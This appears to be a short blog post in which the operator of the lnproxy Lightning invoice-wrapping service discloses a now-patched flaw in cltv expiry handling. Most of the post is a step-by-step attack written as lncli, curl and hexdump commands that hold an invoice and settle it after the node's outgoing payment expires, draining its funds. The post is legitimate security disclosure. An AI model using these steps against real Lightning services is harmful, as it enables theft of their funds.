This is the story of how I almost lost the funds on the lnproxy node 🙈. And how Rene Pickhardt (https://www.rene-pickhardt.de/) saved the day.
Yesterday, on twitter, Rene asked:
How do you handle cltv delay? Do you just encode a large one into the invoice that you give out? Does this mean you have already found a payment flow and locked in htlcs or do you just guess generously? https://nitter.net/renepickhardt/status/1572933510326804481#m
I'm embarrassed to admit that I had thought about the cltv delay, but it seemed complicated, so I decided to stop thinking about it.
Fortunately, Rene's question got me thinking again and I realized that that the service was vulnerable to a simple attack! It would go a little something like this:
  1. Create a hodl invoice:
    head -c 32 /dev/urandom > preimage lncli addholdinvoice `sha256sum preimage | awk '{print $1}'` | jq -r '.payment_request' > invoice
  2. Wrap the hodl invoice:
    curl https://lnproxy.org/api/`cat invoice` > wrapped
  3. Pay the wrapped invoice from another wallet:
    qrencode -r wrapped -t UTF8i
    The payment will trigger lnproxy to pay the original invoice so that it can learn the preimage.
  4. Check that lnproxy's payment has been accepted by your node and note the expiry_height:
    lncli lookupinvoice `sha256sum preimage | awk '{print $1}'` | jq '.htlcs'
  5. Compare that expiry_height to the first payment's expiry_height. On SBW the expiry is shown on the stuck payment's details, on lnd you can check the TIMELOCK on:
    lncli2 trackpayment `sha256sum preimage | awk '{print $1}'`
  6. If the expiry height on the original payment is lower than on the wrapped payment, then wait for the first payment to expire before settling the wrapped payment and profiting:
    lncli settleinvoice `hexdump -v -e '1/1 "%02x"' preimage`
This vulnerability would have allowed anyone to drain the lnproxy node of funds. I patched it by extending the min_final_cltv_expiry on wrapped invoices to ensure I have a few blocks during which to settle the original invoice.